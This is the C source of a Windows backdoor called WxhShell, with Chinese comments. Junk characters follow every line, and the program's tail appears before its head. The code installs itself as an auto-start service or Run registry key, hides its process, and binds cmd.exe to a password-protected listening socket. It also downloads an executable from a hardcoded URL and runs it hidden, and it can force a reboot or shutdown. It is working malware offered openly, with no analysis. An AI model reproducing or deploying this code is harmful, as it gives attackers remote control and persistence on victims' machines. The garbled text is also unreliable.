    if(Boot(SHUTDOWN)) vdQoJWuB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8% @| /  
    else { OMGggg  
    closesocket(wsh); G=dzP}B'WA  
    ExitThread(0); $Y$9]G":  
    } 0}{xH  
    break; NE995;  
    } iyskADS  
  // 获取shell 3>,}N9P-v  
  case 's': { f)I5=Ijy(  
    CmdShell(wsh); tF2"IP.  
    closesocket(wsh); IG-\&  
    ExitThread(0); N^^0j,  
    break; :5d>^6eoB?  
  } K %^n.  
  // 退出 BHXi g~d  
  case 'x': { OWd'z1Yl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L9x-90'q,  
    CloseIt(wsh); v gN!9  
    break; !>UlvT-  
    } Bq0 \T 0,  
  // 离开 /--p#Gh'  
  case 'q': { t6+m` Kq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )?n'ZhsX  
    closesocket(wsh); \-<BUG]=  
    WSACleanup(); c:[k+_Zr  
    exit(1); V+d_1] l  
    break; U"oNJ8&%|  
        } {(73*-~$  
  } }5o?7} ?  
  } FLZ9pb[T  
}D/+YG  
  // 提示信息 '\Xkvi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  EM ,C  
} MB plhVK8  
  } Tt;F-  
7#8Gn=g  
  return; =x~I'|%3  
} b@:OlZ~ %  
eH&F gmU  
// shell模块句柄 ^aFm6HS1  
int CmdShell(SOCKET sock) MNT~[Z9L5G  
{ N2r zHK  
STARTUPINFO si; AerU`^  
ZeroMemory(&si,sizeof(si)); }r}*=;Ea  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZWs   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V35Vi6*p  
PROCESS_INFORMATION ProcessInfo; |dRVSVN  
char cmdline[]="cmd"; 3"fDFR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A_9WSXR  
  return 0; qT O6I5u  
} Z\0Rw>#  
3;nOm =I  
// 自身启动模式 Bous d  
int StartFromService(void) _1" ecaA  
{ 9hp&HL)BOa  
typedef struct yTm \O UD  
{ *MF9_V)8V  
  DWORD ExitStatus; gGqrFh\  
  DWORD PebBaseAddress; p|UL<M9{a]  
  DWORD AffinityMask; 6r7>nU&d  
  DWORD BasePriority; H`EhsYYK  
  ULONG UniqueProcessId; gY}In+S  
  ULONG InheritedFromUniqueProcessId; Hxu5Dx5![  
}   PROCESS_BASIC_INFORMATION;  :Mx  
_0/unJl`  
PROCNTQSIP NtQueryInformationProcess; Dc9uq5l  
k.@![w\ea  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cx}Yu8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J8|MK.oD  
Daf|.5>(@  
  HANDLE             hProcess; :uL<UD,vu3  
  PROCESS_BASIC_INFORMATION pbi; ;m/e|_4;y  
_k84#E0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O&%'j  
  if(NULL == hInst ) return 0; +ikSa8)*i  
%L|fTndKH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H R>Y?B{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p8Vqy-:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OvfluFu7  
F!z0N&#  
  if (!NtQueryInformationProcess) return 0; oqrx7 +0{  
V^~RDOSy7n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g?j)p y  
  if(!hProcess) return 0; FaHOutP  
=~^b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /Vlc8G  
"~KDm(D  
  CloseHandle(hProcess); PN* .9;5Z  
)ycI.[C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -H| 9 82=  
if(hProcess==NULL) return 0; .qBc;u  
K7}.#*% ~  
HMODULE hMod; <'Q6\R}:vC  
char procName[255]; ]xC56se  
unsigned long cbNeeded;  *7m lH  
y:G%p3h)[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m$0W^u  
}1a}pm2p  
  CloseHandle(hProcess); .#EU@Hc  
\S}/2]* 1  
if(strstr(procName,"services")) return 1; // 以服务启动 zAgX{$/Fg  
R >xd*A  
  return 0; // 注册表启动 Y;'<u\^M"  
} D 0Xl`0"'  
p1N}2]e  
// 主模块 *&U~Io"U  
int StartWxhshell(LPSTR lpCmdLine) *>fr'jj1$  
{ *^>"  h@J  
  SOCKET wsl; +VwQ=[y]  
BOOL val=TRUE; y6(PG:L  
  int port=0; {!,K[QwcI  
  struct sockaddr_in door; 6<&~ R 3dQ  
KsDS!O  
  if(wscfg.ws_autoins) Install(); l4C{LZ  
"t|)Kl  
port=atoi(lpCmdLine); dX(JV' 18A  
+p u[JHF  
if(port<=0) port=wscfg.ws_port; HoI6(t  
CmEqo;Is  
  WSADATA data; 'g#%>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J)nK9  
@K;b7@4y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `}X3f#eO&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5F kdGF  
  door.sin_family = AF_INET; W"\~O"a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IjI'Hx  
  door.sin_port = htons(port); !do`OEQKR  
KEAXDF&#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vCa8`m  
closesocket(wsl); 3%v)!dTa<^  
return 1; *l5?_tF  
} 4uF.kz-cg  
8Vu@awz{L  
  if(listen(wsl,2) == INVALID_SOCKET) { Okq,p=D6  
closesocket(wsl); DrRK Sc(u9  
return 1; ch i=]*9  
} OGZD$j  
  Wxhshell(wsl); +!lDAkW0  
  WSACleanup(); qS?o22  
~aC ?M&  
return 0; PD#,KqL:  
<4r8H-(%  
} reu[rZ&  
Ai/X*y:[?  
// 以NT服务方式启动 (j}7|*.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <J509j  
{ @3`5(xwzm  
DWORD   status = 0; =rKJJa N  
  DWORD   specificError = 0xfffffff; b.*LmSX#  
c^}G=Z1@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .*zN@y3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \Qml~?$@lH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tYA@J["^  
  serviceStatus.dwWin32ExitCode     = 0; /x3*oO1  
  serviceStatus.dwServiceSpecificExitCode = 0; pBtO1x6x/  
  serviceStatus.dwCheckPoint       = 0; , Ckcc  
  serviceStatus.dwWaitHint       = 0; !Asncc G  
#GM^:rF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D e&,^"%  
  if (hServiceStatusHandle==0) return; 5lsslE+:J  
^'QO!{7f  
status = GetLastError(); U]hqRL  
  if (status!=NO_ERROR) [@@{z9c  
{ U4XW Kwq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *p/,Z2f  
    serviceStatus.dwCheckPoint       = 0; ^h?fr`  
    serviceStatus.dwWaitHint       = 0; @O"7@%nu  
    serviceStatus.dwWin32ExitCode     = status; zgD?e?yPO  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q68~D.V%r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZRMim6a4X  
    return; vQrxx  
  } FJ_JaIby  
V?XQjH1X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; St5;X&Q  
  serviceStatus.dwCheckPoint       = 0; wFMH\a  
  serviceStatus.dwWaitHint       = 0; @CNJpQ ujn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pg{VKrT`  
} F ~A $7  
pRQ7rT',v  
// 处理NT服务事件,比如:启动、停止 TV{GHB!p"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BTAbDyH5  
{ 99yWUC,  
switch(fdwControl)  3IxC@QR  
{ t/|0"\ p  
case SERVICE_CONTROL_STOP: |[],z 8  
  serviceStatus.dwWin32ExitCode = 0; ^ITF*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rHKO13WF  
  serviceStatus.dwCheckPoint   = 0; d(IJ-qJ N  
  serviceStatus.dwWaitHint     = 0; i l^;2`]&  
  { ("U<@~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JrcbJt  
  } _[rFnyC+0V  
  return; { ^o.f  
case SERVICE_CONTROL_PAUSE: l~Jd>9DwY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Yof%%m$;  
  break; 4/ ` *mPW  
case SERVICE_CONTROL_CONTINUE: r<!hEWO>v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h$5[04.Q  
  break; U7WYS8  
case SERVICE_CONTROL_INTERROGATE: E#!N8fQ  
  break; tW/k  
}; EE 9w^.3a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `r$7Cc$C  
} ]i {yJ)i  
Kq[4I[+R  
// 标准应用程序主函数 I>?oVY6M@u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |]-Zz7N)  
{ AM+5_'S,  
kQkc+sGJf  
// 获取操作系统版本 36.,:!%p  
OsIsNt=GetOsVer(); }MaY:PMA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O2fq9%lk  
Avw=*ZW  
  // 从命令行安装 ///Lg{ ie  
  if(strpbrk(lpCmdLine,"iI")) Install(); :M(uP e=D  
Sp>g77@  
  // 下载执行文件 A8f.h5~9  
if(wscfg.ws_downexe) { n])#<0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wt/;iq"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2E }vuw=c  
} z~Q=OPCnY  
aL1%BGlmZ<  
if(!OsIsNt) { - l X4;  
// 如果时win9x,隐藏进程并且设置为注册表启动 z& ;8pZr  
HideProc(); exq5Zc%  
StartWxhshell(lpCmdLine); L-+g`  
} 6R45+<.  
else }AS?q?4?  
  if(StartFromService()) m-t: ' B  
  // 以服务方式启动 )Qb,zS6  
  StartServiceCtrlDispatcher(DispatchTable); i~h@}0WR"  
else #*bmwb*i  
  // 普通方式启动 y#'hOSR2  
  StartWxhshell(lpCmdLine); )$]lf }  
1AAyzAP9`  
return 0; i#-v4g  
} \Th<7WbR6#  
y,5qY}P+  
Au,oX2$  
k[@P526  
=========================================== ]k!Xb  
'3S~QN  
%,bD| NKp  
- rO34l  
Db"mq'vT  
UDEGQ^)Xz|  
" t@!n?j I  
?%5VaxWJ  
#include <stdio.h> O cL7] b0  
#include <string.h> e |Ri  
#include <windows.h> ;M?)-dpZ  
#include <winsock2.h> <>6j>w_|  
#include <winsvc.h> u1/ >)_U  
#include <urlmon.h> b,Wm]N  
=zFROB\  
#pragma comment (lib, "Ws2_32.lib") 6qT@M0)i  
#pragma comment (lib, "urlmon.lib") SES.&e|!6  
?4':~;~  
#define MAX_USER   100 // 最大客户端连接数 ! JA;0[;l=  
#define BUF_SOCK   200 // sock buffer Cu7{>"  
#define KEY_BUFF   255 // 输入 buffer 529b. |  
h'"m,(a   
#define REBOOT     0   // 重启 Na91K4r#  
#define SHUTDOWN   1   // 关机 `#$}P;W  
>[ B.y  
#define DEF_PORT   5000 // 监听端口 s#Dj>Fej  
{<yapBMw  
#define REG_LEN     16   // 注册表键长度 ZR!8hw8  
#define SVC_LEN     80   // NT服务名长度 ) lUS'I  
^Wld6:L{I  
// 从dll定义API tLu&3<%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Ym):pc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m|q,i xg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (~DW_+?]'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F'XQoZ* 1  
`/sNX<mp  
// wxhshell配置信息 {JfQQP&FV  
struct WSCFG { P3"R2-  
  int ws_port;         // 监听端口 * BM|luYL  
  char ws_passstr[REG_LEN]; // 口令 vX:}tir[  
  int ws_autoins;       // 安装标记, 1=yes 0=no h  /  
  char ws_regname[REG_LEN]; // 注册表键名 LSta]81B4L  
  char ws_svcname[REG_LEN]; // 服务名 $!O@Z8B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z_>~=Mm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |2do8z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tz):$1X_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $0[T<]{/?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7i($/mNl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _*~F1% d  
# `=Zc7gf  
}; `4*I1WZW  
:UdW4N-  
// default Wxhshell configuration 'OnfU{Ai  
struct WSCFG wscfg={DEF_PORT, S# ]] h/  
    "xuhuanlingzhe", Xz4q^XJ  
    1, 8Qg{@#Wr  
    "Wxhshell", .{ v$;g  
    "Wxhshell", SXw r$)4_  
            "WxhShell Service", k3bQ32()  
    "Wrsky Windows CmdShell Service", =7V4{|ESfy  
    "Please Input Your Password: ", SrKitSG  
  1, uq3pk3 )W9  
  "http://www.wrsky.com/wxhshell.exe", #}#m\=0  
  "Wxhshell.exe" ndD>Oc}"3  
    }; eB~\~@  
 u 8o!  
// 消息定义模块 JwMRquQv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @V:K]M 5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Aits<0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h@`Rk   
char *msg_ws_ext="\n\rExit."; O=A R`r#u  
char *msg_ws_end="\n\rQuit."; g}%ODa !H  
char *msg_ws_boot="\n\rReboot..."; <ww D*t  
char *msg_ws_poff="\n\rShutdown..."; c+l1 l0BA  
char *msg_ws_down="\n\rSave to "; ZuGSRGX'  
KZ2[.[(Ph  
char *msg_ws_err="\n\rErr!"; EA~xxKq  
char *msg_ws_ok="\n\rOK!"; d[t0K]  
_s;y0$O  
char ExeFile[MAX_PATH]; "=a3"/u  
int nUser = 0; d&^b=d FDu  
HANDLE handles[MAX_USER]; P8m0]T.&x  
int OsIsNt; jV2H61d  
Z 7@'I0;A  
SERVICE_STATUS       serviceStatus; nZioFE}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !*v% s  
OH@"]Nc~  
// 函数声明 44e]sT.B  
int Install(void); k^}[+IFJ  
int Uninstall(void); -f|/#1  
int DownloadFile(char *sURL, SOCKET wsh); SNqSp.>-U"  
int Boot(int flag); 1NP  
void HideProc(void); <PSz`)SN  
int GetOsVer(void); Lc~m`=B  
int Wxhshell(SOCKET wsl); x/<ow4C  
void TalkWithClient(void *cs); mW{;$@PLF"  
int CmdShell(SOCKET sock); GXZ="3W |  
int StartFromService(void); Qm[((6}  
int StartWxhshell(LPSTR lpCmdLine); i$y=tJehi  
bkJ bnW=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =OK#5r[UV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k5< n:dS  
-o+t&m  
// 数据结构和表定义 P' VHga  
SERVICE_TABLE_ENTRY DispatchTable[] = }tt%J[  
{ 1 fcV&qHR  
{wscfg.ws_svcname, NTServiceMain}, l-w4E"n3  
{NULL, NULL} 3}}/,pGSc  
}; JM;bNW8  
eP~3m  
// 自我安装 IX+Jf? &^  
int Install(void) )#AYb   
{ jN+`V)p  
  char svExeFile[MAX_PATH]; ).kU7;0  
  HKEY key; {APfSD_4  
  strcpy(svExeFile,ExeFile); O ?T~>|  
Gxd/t#;  
// 如果是win9x系统,修改注册表设为自启动 `&NFl'l1C  
if(!OsIsNt) { v.W!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kvg=7o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \];|$FQg  
  RegCloseKey(key); ?`TJ0("z"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &m5^ YN$b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L@\t] ~  
  RegCloseKey(key); l]|&j`'O  
  return 0; G5qsnTxUJ  
    } HVvm3qu4  
  } t'F$/mx.  
} J.rS@Z`~7  
else { q2 7Ac; y  
(&m1*  
// 如果是NT以上系统,安装为系统服务 Q+f |.0r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &K]|{1+  
if (schSCManager!=0) X:Y1g)|K  
{ `_vPElQXZ#  
  SC_HANDLE schService = CreateService Vc'p+e|(  
  ( }|h-=T '  
  schSCManager, m:Rx<E E  
  wscfg.ws_svcname, 7eq.UyUxs  
  wscfg.ws_svcdisp, 3wN4kltt  
  SERVICE_ALL_ACCESS, CH+%q+I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TJP;!uX  
  SERVICE_AUTO_START, 7h9oY<W  
  SERVICE_ERROR_NORMAL, T2-x1Sw_  
  svExeFile, 6iQqOAG  
  NULL, Yaq0mef0  
  NULL, h`fZ 8|yw  
  NULL, "Io-%S u+  
  NULL, NTJ,U2  
  NULL  ~@@t-QY  
  ); F@/syX;bb5  
  if (schService!=0) TJ>YJ D  
  { J>dj]1I  
  CloseServiceHandle(schService); e77s?WxbK  
  CloseServiceHandle(schSCManager); W9cvxsox  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nj6Np^@sH  
  strcat(svExeFile,wscfg.ws_svcname); p,WBF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L,_U co  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -C^qN7Bz  
  RegCloseKey(key); .~'q yD2V  
  return 0; Ge$&k  
    } Q3lVx5G>4  
  } >ptI!\i}  
  CloseServiceHandle(schSCManager); &\?{%xj  
}  UDpI @  
} $_ $%L0)5  
#euOq  
return 1; IwFf8? 3  
} M-Nn \h$,  
>VjtKSN  
// 自我卸载 f].z.  
int Uninstall(void) z=k*D^X  
{ ZbH6$2r  
  HKEY key; D622:Y886  
Zo-Au  
if(!OsIsNt) { z"5e3w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \i~5H]?d  
  RegDeleteValue(key,wscfg.ws_regname); K~L"A]+  
  RegCloseKey(key); @TKQ_7BcB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7({.kD6  
  RegDeleteValue(key,wscfg.ws_regname); $o\U q  
  RegCloseKey(key); ^<yM0'0t  
  return 0; XSZjuQ<[3  
  } @Ng q+uXm  
} [\HAJA,  
} IsL=DV/  
else { suj}A  
jaThS!>v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t[%=[pJHW  
if (schSCManager!=0) QL(}k)dB  
{ :+DAzjwO<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0txSF^x  
  if (schService!=0) >fR#U"KPAB  
  { b=Sl`&A  
  if(DeleteService(schService)!=0) { mR{%f?B  
  CloseServiceHandle(schService); Q[O U`   
  CloseServiceHandle(schSCManager); RDG,f/L2  
  return 0; I@a7!ugU65  
  } XeBSHvO_  
  CloseServiceHandle(schService); ;LT#/t)}<  
  } Q~*3Z4)j  
  CloseServiceHandle(schSCManager); 9]8M {L  
} WY~}sE  
} ,KibP_<%&P  
\b88=^  
return 1; YpZ 9h@,  
} 4d'tK^X  
6 ud<B  
// 从指定url下载文件 5Q72.4HH  
int DownloadFile(char *sURL, SOCKET wsh) =TI|uD6T  
{ EZiGi[t7  
  HRESULT hr; >BQF<  
char seps[]= "/"; 4sK|l|W  
char *token; TA Yt:  
char *file; DPtyCgH  
char myURL[MAX_PATH]; 'E8dkVlI  
char myFILE[MAX_PATH]; s?K4::@Fv  
oB Bdk@  
strcpy(myURL,sURL); 5p{tt;9[  
  token=strtok(myURL,seps);  WU,72g=  
  while(token!=NULL) $t </{]iX  
  { qXW2a'~  
    file=token; B 9]sSx  
  token=strtok(NULL,seps); !r!Mq~X<=  
  } {K0T%.G  
uJp}9B60_  
GetCurrentDirectory(MAX_PATH,myFILE); -+I! (?  
strcat(myFILE, "\\"); <F.Ol/'h  
strcat(myFILE, file); m~NWY$oI9[  
  send(wsh,myFILE,strlen(myFILE),0); Xhkw<XbV  
send(wsh,"...",3,0); &akMj@4;R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9'8oOBqm3%  
  if(hr==S_OK) f&cG;Y  
return 0; E.% F/mM  
else 2Nl("e^kJr  
return 1; yb**|[By  
d`nS0Tf'  
} $v oyXi`*  
+#H8d1^5  
// 系统电源模块 B 9Mwj:)}  
int Boot(int flag) 3S2'JOTY  
{ |)JoxqR  
  HANDLE hToken; _&![s]  
  TOKEN_PRIVILEGES tkp; zB]T5]  
n _ez6{  
  if(OsIsNt) { >%3c1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :3n.nKANr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gS|xicq!  
    tkp.PrivilegeCount = 1; }EIwkz8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )L hO}zQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =<_5gR  
if(flag==REBOOT) { 1k%ko?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OB^2NL~Q~  
  return 0; *wF:Q;_<z  
} g4$%)0x%  
else { Zz&i0 r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &s;%(c04A  
  return 0; mVL,J=2  
} < 5_Ys  
  } 9FLn7Y  
  else { gX _BJ6  
if(flag==REBOOT) { J+|ohA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f8^58]wx0  
  return 0; @>:07]Dxo  
} imhq*f#A[  
else { /#se>4]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /[IQ:':^  
  return 0; l{a&Zy)  
} \mu9ikZ<  
} XP^6*}H.*  
7~Ga>BK  
return 1; yl ;'Ru:  
} ^[Er%yr0  
eo_T .q  
// win9x进程隐藏模块 2M#CJ&  
void HideProc(void) 1DcarF  
{ ZAH<!@qh  
U?lu@5 ^Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O]g+z$2o  
  if ( hKernel != NULL ) -9*WQU9R  
  { l9ihW^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @ty|HXW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _Lb& 2 PAG  
    FreeLibrary(hKernel); EDQJ>c  
  } U ^9oc&  
S+y2eP G  
return; =5M>\vt]  
} dJ^`9W  
G0Eq }MyF  
// 获取操作系统版本 /a|NGh%  
int GetOsVer(void) h^*{chm]  
{ <"+C<[n.  
  OSVERSIONINFO winfo; RM+E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oCYD@S>h  
  GetVersionEx(&winfo); /nP=E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VT7NWT J,  
  return 1; "'#Hh&Us  
  else rw2|1_AF  
  return 0; %S#"pKE6 R  
} L>b,}w  
"y0 A<-~  
// 客户端句柄模块 9.=#4OH/  
int Wxhshell(SOCKET wsl) 8W>l(w9M  
{ (B-9M)  
  SOCKET wsh; 5w1[KO#K|  
  struct sockaddr_in client; X8x>oV;8  
  DWORD myID; 7$=@q|$  
+3>4 ?,^g  
  while(nUser<MAX_USER) xH[yIfHkG@  
{ e"6i >w!  
  int nSize=sizeof(client); 3T/j5m}+!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $\!;*SSj  
  if(wsh==INVALID_SOCKET) return 1; <Y2!c,"  
fLoVcl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ] O>7x  
if(handles[nUser]==0) A%2}?Ds  
  closesocket(wsh); uCfp+  
else sK?-@  
  nUser++; j2M(W/_  
  } rtx]dc1m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6w;|-/:`  
)x&@j4,  
  return 0; hFfaaB  
} ! VZj!\I  
>pvg0Fh  
// 关闭 socket >NA7,Z2.  
void CloseIt(SOCKET wsh)  Zwns|23n  
{ r![JPhei  
closesocket(wsh); n^02@Aw  
nUser--; - (}1o9e\7  
ExitThread(0); tlgvBRH>  
} Y`?X Fy:  
[Mc5N  
// 客户端请求句柄 ]!aa#?Fc  
void TalkWithClient(void *cs) QJM!Wx+  
{ A_~5|  
MjC%6%HI  
  SOCKET wsh=(SOCKET)cs; k#*yhG,]'  
  char pwd[SVC_LEN]; #aX@mPm  
  char cmd[KEY_BUFF]; XSjelA?  
char chr[1]; 4"x;XVNM[  
int i,j; iBC>w+t14  
( v:ek_  
  while (nUser < MAX_USER) { !F#aodM1N  
qjzW9yV+  
if(wscfg.ws_passstr) { wP0+Xv,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q5n : f+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TF-Ty  
  //ZeroMemory(pwd,KEY_BUFF); So.P @CCd  
      i=0; mS}x2 &  
  while(i<SVC_LEN) { ,GU/l)os`  
]UT|BE4v  
  // 设置超时 !o':\hex6  
  fd_set FdRead; L_K\i?  
  struct timeval TimeOut; lY*]&8/=  
  FD_ZERO(&FdRead); O:tX0<6  
  FD_SET(wsh,&FdRead); /.YAFH|i)"  
  TimeOut.tv_sec=8; :yjK*"T|OD  
  TimeOut.tv_usec=0; ZCFf@2&z8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eSNSnh]'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xcvr D  
E0^%|Mh]b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "IS^a jaq  
  pwd=chr[0]; jZT :-w  
  if(chr[0]==0xd || chr[0]==0xa) { &MZy;Sq  
  pwd=0; cN lY=L  
  break; M03i4R@h(  
  } )NmlV99q  
  i++; Wo+CQH6(  
    } <Iyot]E  
DbU;jorwu  
  // 如果是非法用户,关闭 socket [RPAkp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UW[{d/.wC  
} 0/@ X!|X  
Jhy t)@7/,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6.h   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Ljj#!`lUp  
=/JF-#n/MA  
while(1) { uoY`qF.`  
_pko]F|()  
  ZeroMemory(cmd,KEY_BUFF); {hRie+  
! M&un*  
      // 自动支持客户端 telnet标准   Wo9psv7.  
  j=0; #t2UPLO~  
  while(j<KEY_BUFF) { ]ZzG!7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q6JW@GT  
  cmd[j]=chr[0]; k;_KKvQ  
  if(chr[0]==0xa || chr[0]==0xd) { 27E9NO=  
  cmd[j]=0; ,' r L'Ys  
  break; \y H3Y  
  }  /E{dM2  
  j++; -N7L #a  
    } 3R%UPT0>  
"G9'm  
  // 下载文件 ) Zb`~w  
  if(strstr(cmd,"http://")) { f./m7TZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); omv6_DdZ  
  if(DownloadFile(cmd,wsh)) hQ}7Z&O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C nSX  
  else Xvj=*wg\Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PL9eUy  
  } yOUX E>-  
  else { 7XVzd]jH  
e4=FU&RpNH  
    switch(cmd[0]) { >PJtG]D  
  {#1j"  
  // 帮助 2'<=H76  
  case '?': { De nt?  
